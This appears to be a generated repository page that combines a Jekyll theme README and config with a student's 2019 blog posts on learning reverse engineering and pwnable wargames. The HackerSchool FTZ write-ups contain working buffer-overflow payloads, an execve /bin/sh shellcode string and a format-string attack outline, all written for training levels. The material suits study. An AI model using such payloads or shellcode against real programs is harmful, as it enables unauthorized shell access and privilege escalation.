workflows Documentation

TypeScript repository by @code-yeongyu. Model Context Protocol (MCP) server & tools.

0 stars TypeScript TypeScript 1 file ยท ~27,610 tokens
RAW Doc

1. Project Overview & Quickstart (code-yeongyu/workflows)

Technical Documentation: code-yeongyu/workflows

โ„น๏ธ Provenance: Multi-Tier Ingestion ยท CodeWiki Reference

workflows

Agent Skills & Rules

  • Discovered 21 agent rule(s) and prompt configurations.

--- METRICS ---

2. Official Technical Reference & Guides (code-yeongyu/code-yeongyu.github.io)

File: README.md

plainwhite

Simplistic jekyll portfolio-style theme for writers.

Demo: thelehhman.com

Installation on Github Pages

Add this line to your site's _config.yml:

yaml
remote_theme: thelehhman/plainwhite-jekyll

Installation

Add this line to your Jekyll site's Gemfile:

ruby
gem "plainwhite"

And add this line to your Jekyll site's _config.yml:

yaml
theme: plainwhite

And then execute:

text
$ bundle

Or install it yourself as:

text
$ gem install plainwhite

Usage

The "plainwhite" key in _config.yml is used to customize the theme data.

yaml
plainwhite:
  name: Adam Denisov
  tagline: Developer. Designer
  date_format: "%b %-d, %Y"

  social_links:
    twitter: thelehhman
    github:  thelehhman
    linkedIn: in/thelehhman # format: locale/username

Updating Placeholder Image

The placeholder portfolio image can be replaced by the desired image by placing it as assets/portfolio.png in your jekyll website.

Comments (Disqus)

Comments on posts can be enabled by specifying your disqus_shortname under plainwhite in _config.yml. For example,

yaml
plainwhite:
  disqus_shortname: games

Google Analytics

It can be enabled by specifying your analytics id under plainwhite in _config.yml

yaml
plainwhite:
  analytics_id: '< YOUR ID >'

Excerpts

Excerpts can be enabled by adding the following line to your _config.yml

yaml
show_excerpts: true

Layouts

  • Home
  • Page
  • Post

Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/thelehhman/plainwhite-jekyll. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the Contributor Covenant code of conduct.

Development

To set up your environment to develop this theme, run bundle install.

Your theme is setup just like a normal Jekyll site! To test your theme, run bundle exec jekyll serve and open your browser at http://localhost:4000. This starts a Jekyll server using your theme. Add pages, documents, data, etc. like normal to test your theme's contents. As you make modifications to your theme and to your content, your site will regenerate and you should see the changes in the browser after a refresh, just like normal.

When your theme is released, only the files in _layouts, _includes, _sass and assets tracked with Git will be bundled.
To add a custom directory to your theme-gem, please edit the regexp in plainwhite.gemspec accordingly.

License

The theme is available as open source under the terms of the MIT License.


File: _config.yml

title: Hackers can do anything
author: Exlock
email: [email protected]
I do what I love, and I love what I do.
I write posts about what I love to do.
show_excerpts: true # set to true to show excerpts on the homepage

Minima date format

refer to http://shopify.github.io/liquid/filters/date/ if you want to customize this

sass:
sass_dir: _sass
plainwhite:
name: YeonGyu Kim
tagline: Developer, Hacker
date_format: "%b %-d, %Y"

social_links:
github: kim-yeon-gyu-exlock
rss: rss
# dribbble: jekyll
facebook: kim.y30n.gyu
# flickr: jekyll
# instagram: jekyll
# linkedin: jekyll
# pinterest: jekyll
# youtube: jekyll
# youtube_channel: UC8CXR0-3I70i1tfPg1PAE1g
# youtube_channel_name: CloudCannon
# telegram: jekyll
# googleplus: +jekyll
# microdotblog: jekyll

text
# Mastodon instances
# mastodon:
# - username: jekyll
#   instance: example.com
# - username: jekyll2
#   instance: example.com

this and add the path to the pages in order as they should show up

#header_pages:

- about.md

Build settings

#theme: plainwhite

plugins:

  • jekyll-seo-tag

- jekyll-feed


File: index.md


layout: home


File: LICENSE.txt

The MIT License (MIT)

Copyright (c) 2019 Samarjeet

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.


File: _posts/2019-06-03-Reversing1.md


layout: post title: "First time to study Reversing: what I studied today" date: 2019-06-03 23:30:00 +0900 categories: [reversing]

Hello, it's my first post for this blogs.
I'm basically a high school student in South Korea. Therefore the book I'm gonna use for studying is a Korean book called "๋ฆฌ๋ฒ„์‹ฑ ํ•ต์‹ฌ์›๋ฆฌ", which means "principles for the points in reversing".
I'm planning to write what I studied for each day.

Let's Start !

Reverse Engineering is a series of courses about analyzing softwares, products, etc.
By analyzing them, you can understand how the things work, improve the products, and you can add your ideas on it.

So, there are two ways for analyze something.

  • Static Analysis
  • Dynamic Analysis

Static Analysis is a way by observing the appearance of the file.
In this method, you don't have to execute the file.
This method is to check the kind of the file, size, header, APIs, internal strings, debugging informations, etc...
You can do this by using the disassembler.

Dynamic Analysis is a way to analyze a file by executing the file.
By debugging, you need to observe how the codes flow, and the state of the memory.
In this method, you can analyze by observing the file, registry, and the networks.
Also, you can use the debugger.

I know the post is very little, but I'll weigh more for '1 day, 1 posts'.


File: _posts/2019-06-04-Reversing2.md


layout: post title: "Second time to study Reversing: lack of time, seriously" date: 2019-06-04 23:49:00 +0900 categories: [reversing]

What is hex code?

The file that we can execute is a set of assembly instructions, which means it's a binary file.
It would be really hard to understand the meaning if we have to only use the binary.
So, hackers often convert the binary into hex, cuz it's much easy to read due to the length reduces.

What is Patch ?

Modifying the file of some programs or the memory of the process called the patch.
The general example of patch would be the update system of operating system.

Tomorrow, I'll analyze the 'Hello World' program written in cpp with the windows api's message box.


File: _posts/2019-06-12-Reversing3.md


layout: post title: "Start reversing, for real" date: 2019-06-12 23:46:00 +0900 categories: [reversing]

Let's enter into the world of reversing!

Now you just entered the world of reversing.
You'll remember the definition of reversing: series of courses about analyzing software.
Using a debugging tool is a basic way to analyze software. Therefore let's start reversing with the debugging tool, ollydbg.
You can download it from here.

With the hello world example of the book, "๋ฆฌ๋ฒ„์‹ฑํ•ต์‹ฌ์›๋ฆฌ", start debugging.


File: _posts/2019-06-13-Reversing4.md


layout: post title: "I just launched the ollydbg!" date: 2019-06-13 12:36:00 +0900 categories: [reversing]

Yesterday, I installed the debugger which is called the ollydbg.
After you launch it and open the examples from the book, "๋ฆฌ๋ฒ„์‹ฑํ•ต์‹ฌ์›๋ฆฌ", you'll see a window like this.

The up-left side one is a code window and the up-right side one is a register window.
The below one at the left side is the dump window and the right side one is the stack window.

Code window has the disassembled code with some comments, label and the positions of jump and loop which changes where the code is executing.
Register window displays the state of registers such as EAX, ECX, EDX, EBX, ESP, EBP, ESI, and EDI. Some registers are modifiable if you want.
Dump window displays the current memory's state. You can see wherever in the memory you want in HEX, ASCII or Unicode.
Stack window shows the current state of the stack which ESP register points as the name.

Where debugger waiting is the EP(Entry Point), which is the beginning address of the program that I'm currently debugging.
This is all for today.

I think to translate all the contents in the book is inefficient.
Therefore since tomorrow, I'll just write a simple report about what I learned.


File: _posts/2019-06-14-Reversing5.md


layout: post title: "Found the main function" date: 2019-06-14 22:48:00 +0900 categories: [reversing]

Ollydbg has some shortcuts, and today I used F7 which does step over(and goes into the function call), and F8 which does step over(doesn't go into the function call).
Ctrl+F9 does the command 'execute till return'.

So with these shortcuts, I tried to find where the main function is.
Because the example code contains the function, 'message box', to find the main function, I needed to find a function which executes that.

and I finally got into it.
The reason I thought that I found the main function is because of the "www.reversecore.com", and the "MessageBoxW".


File: _posts/2019-06-15-Reversing6.md


layout: post title: "How to set the base camp" date: 2019-06-15 23:43:00 +0900 categories: [reversing]

I haven't studied a lot today.
I learned about the features of ollydbg, especially the basecamp.
So, there are mainly 4 ways to make base camp.
The first one is to remember the address of the basecamp, use the goto feature, and type the F4 to run execute until cursor.
The second one is to use the breakpoint feature.
You can make breakpoints by typing the F2 Key. By typing F9, you'll see your ollydbg stops at the breakpoint.
The next thing is to make comments with the key ';', and check it at the user-defined comments window.
And another thing is to use the label feature, which replaces all that specific address into that comment.


File: _posts/2019-06-16-Reversing7.md


layout: post title: "I patched the hello world.exe" date: 2019-06-16 21:59:00 +0900 categories: [reversing]

Today was the most exciting moment while studying reverse engineering.
With the commenting features, breakpoint features, and other stuff in ollydbg, I patched the message "Hello World!!" into the "Hello Reversing".

So, there were to ways to modify the string.

The first one is just to edit the value in the memory, and it's only available when the text that you wanna change to is not bigger than the original string area.

The last one is was to create the string in another area in the memory, which is not used, called the 'null padding'.
I set the string "Hello Reversing" at the memory value at 409F50, which is the null padding.

Also, I actually saw how memory sections work. With the book I study with, I was able to see the text, data, code sections.
and I was able to see them clearly by the memory addresses.

So the hello world.exe's data section was the 409XXX, and the code section was the 401XXX.

Anyway, studying reverse engineering is very exciting. Therefore I...


File: _posts/2019-06-17-Reversing8.md


layout: post title: "Byte ordering, Registers" date: 2019-06-17 22:29:00 +0900 categories: [reversing]

Byte ordering - Little Endian, Big Endian

Let me say I made a variable and put '0x123456' into that.

Big Endian

In big endian, the data would look like exactly the same as you put.
Therefore, I can say big endian is the way how we save information.

Little Endian

In Little Endian, the orders of data are reversed.
Therefore, the data '0x123456' would look like '\x56\x34\x12'.
In the book I study with, it says that it's much efficient when the type of data expands or contracts.

Registers

I was a bit surprised cuz I only knew the general purpose registers.

So, in the 'Basic Program Execution Register', there are four kinds of registers. and they are:

  • General Purpose Registers (consisted of 8 32bit registers)
  • Segment Registers (consisted of 6 16bit registers)
  • Program Status and Control Register (a 32bit register)
  • Instruction Pointer (a 32bit register)

General Purpose Registers

  • EAX: Accumulator for operands and results data.
    • usually, be used for the return value of a function
  • EBX: Pointer to data in the ds segment
    • be used with 'ESI' and 'EDI' register for index
  • ECX: Counter for string and loop operations
    • be used for loop count such as the i of 'for(int i = 0;i<3;i++);'
  • EDX: I/O Pointer
    • be used for saving the value of Input / Output pointer

File: _posts/2019-06-18-Reversing9.md


layout: post title: "Other Registers" date: 2019-06-18 23:34:00 +0900 categories: [reversing]

Segment Registers

A segment is a method to protect the memory by taking apart the parts of the memory and give'em a start address, area, and permission.
Also, it's used with paging method to make virtual memory into the physical memory.
Segment memories are described in the Segment Descriptor Table.
And segment registers are pointing index of SDT.

There are 6 16bit registers in segment registers.

  • CS, Code Segment
  • SS, Stack Segment
  • DS, Data Segment
  • ES, Extra Segment
  • FS, Data segment
  • GS, Data segment

Program Status and Control Register

It's also called 'EFLAGS', which is a 32-bit register.
There are own meaning for each bit.
And like the name, 'flag', 0 means off, 1 means on.
It's hard to understand whole the meaning of 32-bit at the starter level, so the book recommends to understand the ZF, OF, and the CF which is necessary for application debugging.

Important Flags

  • ZF, Zero Flag
    • the value changes to 1 when after the results of calculate operation is 0
  • OF, Overflow Flag
    • the value changes to 1 when an overflow happens at a signed integer. Also when MSB(Most Significant Bit) changes
  • CF, Carry Flag
    • same as OF, but for an unsigned integer

Instruction Pointer Register

Its name is EIP, and it's a 32-bit register.
It's pointing the address of an instruction that is currently executing.
Unlike the other general purpose registers, it's not modifiable.
Therefore, in order to change the value inside of this, you have to use assembly operations such as 'jmp' or 'ret', making interrupts, or making an exception.


File: _posts/2019-06-19-Reversing10.md


layout: post title: "Stack section" date: 2019-06-19 09:24:00 +0900 categories: [reversing]

Stack

A stack is a FILO(First In Last Out) data structure.
And in memory, there is a section which uses the stack. It's also called 'stack section'.

To be comfortable, I'll short the word stack section into 'stack'. So the stack I'm talking about this article is about the stack section in memory.

Stack has these roles.

  1. Saves local variables
  2. Give parameters to a function when calls the function
  3. Saves the return address

Because the stack is a FILO data structure, it grows from down to up, High Address(from 0xFFFFFF to 0x000000). It would be easy to understand how you stack dishes.

Therefore, if you push an integer value into the stack, the TOS(top of the stack) which the ESP register points decrease for 4bytes cuz the TOS moved to the upside.
On the same principle, if you pop an integer value into the stack, the esp increases for 4 bytes.

Happy Hacking Happy Reversing


File: _posts/2019-06-20-Reversing11.md


layout: post title: "What happens if you make a variable in a loop, or bottom of the function?" date: 2019-06-20 15:40:22 +0900 categories: [reversing]

When I started to learn C, all of the tutorials are saying "You should define variables at the top of the function".
I wrote about the stack section which saves the local variables yesterday.
At my school club, I had the opportunity to analyze a c program, while solving a pwnable problem.
I found something at the assembly code. The compiler calculates the total size of all the local variables in a function, and they allocate it in a word(in an operation).
Because Modern C compilers are smart enough, nowadays we can define the variables anywhere in the function. Like in a loop, middle of the function, or bottom of the function.

So I wanted to see what happens in assembly if I define variables, not at the top of the function.

Therefore, I made four codes which the position of where the variable defines are different.
BTW, This is pretty far from the subject of today's post, but I found another thing that if a variable defined and not being used, it's not even allocated by the compiler.

Anyway, the codes look like this.

c
#include <stdio.h>

int main(void) {
    char sentence[1024] = "nothing";
    char array[512] = "nothing";
    int i;
    printf("%s %s", sentence, array);
    return 0;
}

This code is a recommended way to make variables. The useless variable 'i' is defined for compare with the loop.

c
#include <stdio.h>

int main(void) {
    char sentence[1024] = "nothing";
    int i;
    for(i = 0; i < 10; i++) {
        char array[512] = "nothing";
        printf("%s %s", sentence, array);
    }
    return 0;
}

and in this code, I put a variable(technically array) in a loop.

c
#include <stdio.h>

int main(void) {
    char sentence[1024] = "nothing";
    int i;
    printf("%s", sentence);
    for(i = 0; i < 10;i++);
    char array[512] = "nothing";
    printf("%s", array);
    return 0;
}

Also, I defined the array the bottom of the code.

Yeah, as I expected, the compiler which I tried with (Apple LLVM) was smart enough to improve my dirty code. As you can see in the assembly code, the operation "sub 0x640" was the same in the top one and the bottom one.
But one thing I thought weird was the "sub 0x630", which was in the loop code. Somehow, the size has been changed.

What I wanted to figure out by today's experiment was 'What happens if you make a variable in a loop, or bottom of the function?'.
And it seems like I've got an answer. The answer was "the compiler makes and allocates it just as you define the variable at the top of the function".

Anyway, it was my first time to try 64-bit assembly debugging. Therefore I'm a bit embarrassed about longer memory addresses, different names of registers(such as ESP to RSP). But because it's also a computer that's based on x86, the assembly codes were not that different.

It was very interesting! Understanding a code which I wrote in a computer's perspective was very interesting. Not only for reverse engineering, but also for the programming, I think it's really good to learn the assembly.

Happy Reversing :)


File: _posts/2019-06-21-Reversing12.md


layout: post title: "What is CrackMe?" date: 2019-06-21 23:43:22 +0900 categories: [reversing]

What is 'CrackMe'?

CrackMe is a program that is coded for people who want to practice reverse engineering to crack, as its name.
The book I studied with mentions that this book is actually helpful for being friendly with the assembly codes.
So from tomorrow, I'll start cracking it. (Cuz I don't have much time for today. I just got home, and it was 23:30!)


File: _posts/2019-06-22-Reversing13.md


layout: post title: "Reason why I study reverse engineering" date: 2019-06-22 23:22:43 +0900 categories: [reversing]

Cuz I don't have much time for today, I'll write down here the reasons why I want to study reverse engineering, not other hacking technologies.

Why do you study reverse engineering?

Since I started to use Android phones and install some custom ROMs in those devices, I always had a dream.
"I want to make such that software so that I can truly play with my phone".
Also, at the similar period, I read an article about that geohot hacked the ps3, and that also became my dream.
"Hack a gaming console, do shits whatever I wanna do, such as running doom :D"
Time passed, now I'm going to high school that I wanted to go(I study about computer stuff there), and I found that reverse engineering is appropriate for what I want to do.

Wait, system programming and reverse engineering are different!

Yeah, I know. Reverse engineering is not my final goal.
I want to get deep computer science knowledge by studying reverse engineering, and I'll change my way to system programming, such as system calls in Linux.
I want to work for Linux environments or embedded devices in the future, and I'm sure about experiences in studying reverse engineering can help me.

Because my English skills are not good, I wasn't able to short about what I wanted to say.
Anyway, briefly, I'm studying reverse engineering to hack devices to do whatever I want to do on that device and to study the basics of computer science knowledge.
Also, I'll study system programming in the future, and I believe my experiences in studying reverse engineering can help me.


File: _posts/2019-06-23-Reversing14.md


layout: post title: "Let\'s solve crackme level 1" date: 2019-06-23 22:30:12 +0900 categories: [reversing]

Let's crack

Two days ago, I introduced "crackme". And, today, I tried to crack the crack me level 1, and here is the write up how I solved it.

Execute it

So, when I first executed the crackme level 1, you'll see such this popup.

If you press 'ok' here, you'll see this message.

Therefore, I had to make this application to think that HD as a CD-Rom.

Debug it

I opened it with the ollydbg, and here is the capture of it.

What I thought it's weird is that it doesn't have any stub code, which means it's coded with assembly, not by another computer languages.

How to give parameters to a function

Let's look at the operations before the function MessageBoxA calls.

This part can be translated into C, like:

c
MessageBoxA("Make me think your HD is a CD-Rom.", "abex\' 1st crackme", MB_OK|MB_APPLMODAL);

You'll ask like, "Hey, I can't get it. According to that assembly code, the string "Make me" thing is not the first. The first one should be the MB thing".
The answer to this question is can be found if you think how stack saves the data. It's a LIFO struct, right?

Find where to patch

The operations with blue lines are garbage codes, which are added to hackers feel difficult to hack this application. So, it doesn't have any meanings.
The operations with red lines are 'if' in C.
CMP is a shortage of compare, so it compares to values that are given to parameter.

How cmp works

I once mentioned about the ZERO flag while explaining the flag registers.
If the result of subtraction between the parameters that are given to cmp equals 0, the zero flag turns on.
The next operations such as 'je' 'jle' 'jne' are executed by referencing the zero flag.

Patch

The method I tried is to replace the 'je' which means "jump equal" into 'jne' which means "jump not equal".

Done!

P.S: the way the book suggests is to replace je into jmp. but jne still worked because I changed the condition into 'if not'.


File: _posts/2019-06-24-Reversing15.md


layout: post title: "Stack Frame - Function Prologue" date: 2019-06-24 22:30:12 +0900 categories: [reversing]

You may remember about ESP and EBP, and how stack saves the data.
ESP saves the position of the top of the stack, EBP saves the position of the base of the stack.
And lastly, the way how the stack section saves the data is the LIFO.

So today, I'm gonna say about the stack section. And the book says that "By studying this, you'll be able to understand what stack frame is and how the stack frame works".

So, what is it?

The stack frame is a technique which accesses to local variables, parameters, and the return address by using EBP instead of ESP.

Therefore you have to know about things such as function prologue, and the function epilogue.

Function Prologue

When a function is called, to save where to back when that function ends, you have to back up the address what to execute for next when the function ends.
This is called the function prologue.
When a function starts, at the top of the function, there's something like this.

text
push ebp  
mov ebp, esp

To understand these commands, you have to think this as stacking another space on the memory that is only for another function.
Firstly, back up the base address of the stack in order to restore when the function is ended.
And secondly, set the current top position of the stack as the base to make an own area for that function.
By this, the function has its own area to save its local variables.


File: _posts/2019-06-25-Reversing16.md


layout: post title: "Stack Frame - Function Epilogue" date: 2019-06-24 23:21:11 +0900 categories: [reversing]

When the function is about to end, it needs to be restored as before, and the commands of it are these.

text
mov esp ebp
pop ebp

to explain these commands, you have to remember how we made the stack frame at the function prologue.
At the Prologue, we've seen such these commands.

text
push ebp
mov ebp esp

We stacked another area of the function, by changing the ebp. And when the function is about to end, to restore as before, change the esp as before, and ebp as before.
That's the function epilogue.
I think I have to spend more time studying the reversing.
I seriously feel that it's really hard to write an article for a day cuz lacking of the time.


File: _posts/2019-06-26-Reversing17.md


layout: post title: "Miscellaneous tips I've learned today" date: 2019-06-26 13:23:11 +0900 categories: [reversing]

About the EAX

  • Mentioned before that this register is used for calculating and returning values when a function is ended.
  • While analyzing an example file of the stack frame, I found that when a calculation is done, and when the value needs to be returned, because EAX register is used to calculating values, the function is straightly done without doing anything because there's already a returning value in the EAX.
  • So, this is the code I was talking about. As you can see, just right after the adding calculation is done, the function ends.

When after the function is ended, because the parameters (which are stacked) are unneeded anymore, there is a code that adds 8 into esp to remove that space in the memory.

This is one of the 'calling convention', and this way, like cleaning the parameters from the function which called another function, is called 'cdecl'.
And the way that function who have called by a caller is called 'stdcall'.
So, briefly, caller cleans the stack: it's cdecl.
Calee cleans the stack: it's stdcall.

When you want to make EAX as 0, XOR EAX, EAX is faster than mov EAX, 0.
So, it's commonly used for the c code such as this.

c
return 0;

File: _posts/2019-06-27-Reversing18.md


layout: post title: "Calling convention" date: 2019-06-27 09:26:19 +0900 categories: [reversing]

cdecl

Cdecl calling convention is useful for making creating variable arguments because it's hard to handle on other calling conventions.
Cdecl is a calling convention that the caller of the function cleans the stack when after the calling function is returned.

As you can see, the caller cleans the stack by the operation ADD ESP, XXX.

and the command RETN doesn't have any parameters, while the stdcall way has a parameter.
C uses this calling convention as default, but you can use _stdcall by typing the keyword _stdcall behind the type of the function.

stdcall

Stdcall is a calling convention that the callee cleans the stack when it's executing the RETN operation.
Therefore, the operation ADD ESP, XXX is unneeded.

It has advantages than cdecl because you don't have to clean the stack every time after the function is called. Therefore you can reduce the size of the code.
Win32API uses this calling convention as default, while Win32API is written in C.
You may wonder the reason why. It's because to increase the compatibility when a programmer uses it with other languages such as Delphi, Visual Basic, ETC.

fastcall

It's based on stdcall, but it uses ECX and EDX registers instead of using stack section, it's only available when the parameters are less than two.
As the name of this calling convention, it's faster than stdcall and cdecl when you call a function because the speed of the register is faster than using ram.
But to use the ECX and EDX registers, sometimes additional overheads are needed. Like, if there are some important data on the ECX and the EDX registers, you have to back them up.
Also, when the function is so complex that have to use the ECX and the EDX registers, additional overheads would be needed.


File: _posts/2019-06-28-Reversing19.md


layout: post title: "Sorry to myself" date: 2019-06-28 12:22:34 +0900 categories: [reversing]

I'm just a Korean who can speak English a little bit, and I only can have basic communications with others in English.
Since I started to learn English, I always tried to think and write straightly in English.

And recently, I noticed that this is a very bad habit. I found that I have a problem with fluency.
Because I only can use limited words, the more letters are needed to express what I want to. And, you know, that makes readers hard to understand.

I write the report to record what I study, but also I want to help readers to study what they want to.

But like this way, writing posts like in a factory, I think it can make my posts worthless.

I'm sorry about my self.
It'll take more time to make a post, but I'll write it in my mother language, Korean, then I'll translate it in English.

Although I don't have any computer science things, I stop here for a new start.


File: _posts/2019-06-29-Reversing20.md


layout: post title: "Sorry, not about computer science again, but about my thoughts" date: 2019-06-29 23:26:19 +0900 categories: [reversing]

Damn, today's post is not about computer science again.
To be honest, I agree that I'm too busy these days. I didn't have much time to study computer science.

BTW, I want to talk about the thoughts that I have these days.
It's true that I didn't study much about reverse engineering.

One thing is about the actual hacking and the hackings in CTF.
It seems the actual hacking and the hackings in CTF feels quite different.
As I said before, I want to analyze products such as game consoles.

Others say that hackings in CTF are about finding the serial, therefore I have to analyze the algorithm which makes that serial.
But in real hacking, I have to find out the whole structure of the program. So it feels like they're very different.

One other thing is about the money. I used to study web programming. If I kept studying web programming, I can earn a little amount of money as a freelancer. You know, it's really hard to earn money as a freelancer if I am not skillful enough.

So I'm thinking and thinking about it, but I'll be the greatest reverser/hacker in the world. You know, there's an old saying, fake it till you make it.


File: _posts/2019-06-30-Reversing21.md


layout: post title: "Crack me 2 write up" date: 2019-06-30 12:43:36 +0900 categories: [reversing]

I used the search for > all referenced strings feature to find the position of the handler function of the check button.

What I did is to find the positions of string and try to find where the function prologue is.

Anyway, while reading the codes in that function, I found a je which looked like a part where decides the result of the serial.
So I set the breakpoint of that, and I found the serial code for what I typed at the stack.

I was able to solve in this way.

But I want to analyze the algorithm, so I'll post about it tomorrow.


File: _posts/2019-07-01-Reversing22.md


layout: post title: "Crack me 2 algorithm analyzing - found the loop" date: 2019-07-01 14:59:23 +0900 categories: [reversing]

I wanted to know how they encrypt the string at the name field, so I debugged the codes for a while, and I found a loop.
Which creates the serial code.
The first thing I found is, the program only uses the very first four values of what I typed.
I was able to find it by looking at this code, set loop count for 4.

And here is the loop code where encrypts the very first four values.


File: _posts/2019-07-02-Reversing23.md


layout: post title: "Abex's crack me 2 summary" date: 2019-07-02 19:10:32 +0900 categories: [reversing]

  1. It makes the serial based on the name you typed
  2. The algorithm to make serial is below:
    1. Make it as ascii
    2. Add 64
    3. Make it as hex
    4. Make it again as unicode
    5. Loop these for 4 times

File: _posts/2019-07-03-Reversing24.md


layout: post title: "Abex's crack me 2 cracker c code" date: 2019-07-03 12:10:32 +0900 categories: [reversing]

I made the serial maker for the crackme 2 cracker C code.

c
#include <stdio.h>
#include <string.h>
#include <math.h>

int main(int argc, char **argv) {
	int i;
	if(strlen(&argv[1]) < 4 || argc < 1) {
		printf("The arguments should be longer than 4!!");
		return 0;
	}

	for(i = 0; i < 4; i++)
		printf("%X",(int)(argv[1][i] + 0x64));
	
	return 0;
}

and it works perfectly!


File: _posts/2019-07-04-Pwnable25.md


layout: post title: "HackerSchool FTZ, mainsource - Level14" date: 2019-07-05 16:52:19 +0900 categories: [pwnable]

Hacker School is the most famous Korean hacking tutorial for newbies who want to study Hacking.
I solved from level1 to level 13, therefore I have to solve the level 14 to 20, which are my club homework.

By the way, from level 14, it says that it's from the mainsource. I still actually don't know what it is
So I'll write here the write-ups of them.

BTW, the problem is this. This is the source code of attackme.

So when the value of the variable check equals the 0xdeadbeef, it'll give me the shell.

Since main doesn't have any arguments such as argc and argv, I have to use the Linux pipelines.

Anyway, I tried to analyze it with the gdb because I have to figure out where and how to attack, and here is it:

The part that making the variable(sub esp, 0x38) means that the total size of the stack is 0x38, which is 56 in decimal.
And you can see giving the address ebp-56 to fgets(the part giving the arguments, push ebp-56). This means that the start address of buf is ebp-56.

And you can see the cmp, which means 'if', with the ebp-16.
This means that the address of check is ebp-16.

So the payload will be like this. (Any value)*40+"\xef\xbe\xad\xde"
(the things after *40 is the little-endian-encoded 0xdeadbeef.)

So using the Linux payload feature, this is the payload.

bash
(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|./attackme

File: _posts/2019-07-05-Pwnable26.md


layout: post title: "HackerSchool FTZ, mainsource - Level15" date: 2019-07-05 18:34:25 +0900 categories: [pwnable]

It's very similar to the previous problem.

However, the variable check is now pointer, which means I have to put the address where 0xdeadbeef is located.
So I put the 0xdeadbeef into the environment variables, but it was not working for some reason.

So I just inspected the function main with the x, and the 0xdeadbeef was there.

...And solved!


File: _posts/2019-07-06-Pwnable27.md


layout: post title: "HackerSchool FTZ, mainsource - Level16" date: 2019-07-06 12:34:25 +0900 categories: [pwnable]

It's amazingly similar to the previous problem.

This problem uses the function pointer, therefore I have to use it.
It was a bit surprising for me since I haven't actually seen the code which uses it.
Anyway, function pointer is also a pointer. The only difference is just it's calling the function by pointer.

I tried to analyze it with gdb to see if there's any difference not like I expected.

ebp-56, ebp-16. Yes. It's something that you've seen at the previous problems.
Anyway, the way to attack it is very simple.
I have to change the address which call has into the shell from the printit.

So now it's time to find the address of shell.

text
disass shell

Address of shell: 0x080484d0
So this is the payload I used.

bash
(python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat)|./attackme

Super-duper easy.


File: _posts/2019-07-07-Pwnable28.md


layout: post title: "HackerSchool FTZ, mainsource - Level17" date: 2019-07-07 18:12:31 +0900 categories: [pwnable]

It's almost similar to the previous problem.

Now there's no function shell. So I thought that I have to put the address of eggshell into the payload that I used before.

I found an eggshell by googling.

bash
export egg=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

and let's figure out the address of it.

whoo! I solved it again with this payload.

bash
(python -c 'print "A"*40+"\x3a\xff\xff\xbf"';cat)|./attackme

File: _posts/2019-07-08-Pwnable29.md


layout: post title: "HackerSchool FTZ, mainsource - Level18" date: 2019-07-08 13:24:35 +0900 categories: [pwnable]

It's not similar to the previous problem.

...Damn, the code is really long.
By just looking over it, the function read is the part where gets the input.
You know, the array and the pointer is the same. Therefore I thought that I have to access to the check by using it.

The start address of check should be the [string-4] at least, so I tried to 0x80 four times and so on and the beef, but solved just in a time.

YEAH!


File: _posts/2019-07-09-Pwnable30.md


layout: post title: "HackerSchool FTZ, mainsource - Level19" date: 2019-07-09 17:36:11 +0900 categories: [pwnable]

The problem is, it's using the function gets() which has the vulnerability on checking the size.

Let's just look at it by GDB.

The size of stack is 0x28, which is 40 in decimal. And most of the cases, the RET is after SFP which is right just after the stack.
Therefore I have to fill 44 bytes with usless values, and it looks like I have to put the address of shell code after it.

But this time, there's no part where calling the function setreuid, and I got it by googling.

Now it's time to make payload.
As I said, I have to put uselss values for 44 bytes, and I have to put that address.

Done!


File: _posts/2019-07-10-Pwnable31.md


layout: post title: "Pwnable is also fun" date: 2019-07-10 19:54:13 +0900 categories: [pwnable]

I almost solved the mainsource, the hacker school ftz.
It looks like I can learn a lot of things, as level increases, like requires me to make the shellcode.. or so.

Anyway, I started to solve these problems just to do my club homework, and I actually didn't like to solve it, cuz it's pwnable problems.
But after solving them, I realized that they have a lot in common.

So, I thought that there's no reason to limit my major only for reverse engineering. Pwnable is also fun, and you know, most of CTFs have the pwnable problems the most, and there are not much reverse engineering problems.

So, now I'm interested in Pwnable! It would be my second major since reverse engineering is the most enjoyable thing for me.


File: _posts/2019-07-11-Pwnable32.md


layout: post title: "HackerSchool FTZ, mainsource - Level20" date: 2019-07-11 15:49:00 +0900 categories: [pwnable]

It's the hint of level 20. And there's a printf which looks pretty weird.
YES. THIS is the problem which requires me to use the format string bug(FSB).

printf is the shortage of 'print format', and this function has a feature prints a string with format from a given address from parameter until '\0' which means null.
But there's a problem when calling printf with a variable.
The hacker can freely put the format.

So what?

Let me say I use the format in printf.
In order to print the format, the function will get the value from the given parameters.

As I wrote before, at the calling convention, C uses _stdcall to give parameters.
This means that when a function is called, the data at the top of the stack is what printf consider as arguments. (This is the reason why weird value appears if you use the format in printf without giving parameters)

Anyway, we have to know a format %n to attack with FSB.
%n is a format which saves how many bytes are used before using %n to the given address.

The 41414141 appears when I called %x for four times.
This means that the array 'bleh' is actually located where I try pop for three times.

Let's just attack

Usually, attacks using FSB attacks the .dtors segment.

GCC compiler creates two segments which called before calling main and called after executing main. They are .ctors(constructor) and the .dtors(destructor).

You know, after the SFP(the EBP before calling a function), there's a RET which the address of .dtors located.

Anyway, since I'm not able to modify the value of RET, I have to change the content of .dtors.
With the objdump, let's figure out the address of .dtors which we are gonna edit.

  1. It's the address of .dtors. However, if the value of this is not 0, it executes the dtors+4!
    So I have to attack it with shellcode(eggshell).

